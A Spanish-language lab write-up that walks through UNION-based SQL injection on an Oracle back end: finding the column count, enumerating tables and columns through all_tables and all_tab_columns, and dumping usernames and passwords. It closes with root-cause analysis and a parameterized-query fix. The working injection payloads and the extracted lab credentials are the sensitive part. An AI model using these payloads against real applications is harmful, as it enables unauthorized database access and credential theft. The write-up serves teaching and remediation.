← Writeups

UNION-based SQLi en Oracle: enumeración de tablas vía all_tables y all_tab_columns

Enumeración de credenciales con UNION-based SQLi en Oracle: all_tables + all_tab_columns para descubrir la tabla USERS_DFPWCC y drenar el contenido con concatenación ||.

1. Target Overview & Vulnerability Summary

El filtro de categoría de producto refleja los resultados de la consulta en la respuesta, habilitando un ataque UNION-based. El back-end es Oracle, con sus particularidades: toda subconsulta SELECT requiere FROM dual, y el catálogo de metadatos se consulta en all_tables / all_tab_columns.

Severidad Endpoint vulnerable Root cause
High GET /filter?category=... Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta (UNION)

2. Technical Breakdown & Exploitation Flow

2.1 Validación del motor y aridad de la query

La query del filtro devuelve 2 columnas; Oracle exige FROM dual en el branch UNION:

' UNION SELECT 'string1','string2' FROM dual-- -

2.2 Descubrimiento de la tabla de usuarios

all_tables es el diccionario de datos accesible al usuario actual; se filtra por coincidencia en el nombre:

' UNION SELECT NULL,table_name FROM all_tables WHERE table_name LIKE '%USER%'-- -

Candidatas devueltas:

APP_USERS_AND_ROLES
SDO_PREFERRED_OPS_USER
USERS_DFPWCC

USERS_DFPWCC es la tabla creada para el lab (nombre aleatorio por instancia).

2.3 Enumeración de columnas

all_tab_columns describe las columnas de la tabla apuntada:

' UNION SELECT NULL,column_name FROM all_tab_columns WHERE table_name='USERS_DFPWCC'-- -
EMAIL
PASSWORD_MPXNBA
USERNAME_EMHFFM

2.4 Extracción de credenciales

Concatenación con || ':' || para aunar usuario y password en la única columna de salida:

' UNION SELECT NULL,USERNAME_EMHFFM||':'||PASSWORD_MPXNBA FROM USERS_DFPWCC-- -
administrator:4l9lkvcesq5xxibuj76w
carlos:014zjpazygs1kuasi2gh
wiener:35cd57nbocc1owcvt48u

Login como administrator para resolver el lab.

3. Root Cause Analysis

La query se construye por interpolación sin parámetros:

SELECT column1, column2 FROM products WHERE category = 'Gifts'

El branch UNION SELECT inyectado añade filas arbitrarias que se reflejan en el HTML. La enumeración funciona porque el rol de BD de la aplicación tiene privilegios de lectura sobre el diccionario de datos all_tables/all_tab_columns (que en Oracle incluyen también objetos de terceros con el mismo esquema de permisos), y porque || permite recomponer columnas multi-valor en una sola celda de salida.

4. Secure Remediation

Parametrización de la query:

String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);

Refuerzos específicos para Oracle:

  • El diccionario de datos es accesible por diseño al rol con CONNECT; la mitigación real es la parametrización. Como defensa en profundidad, crear el usuario de la aplicación solo con los objetos del schema de la app (SELECT sobre tablas de productos) y sin necesidad de catálogo.
  • Reducir el drenaje si reaparece la inyección: no exponer tablas de credenciales en el mismo schema que la app pública.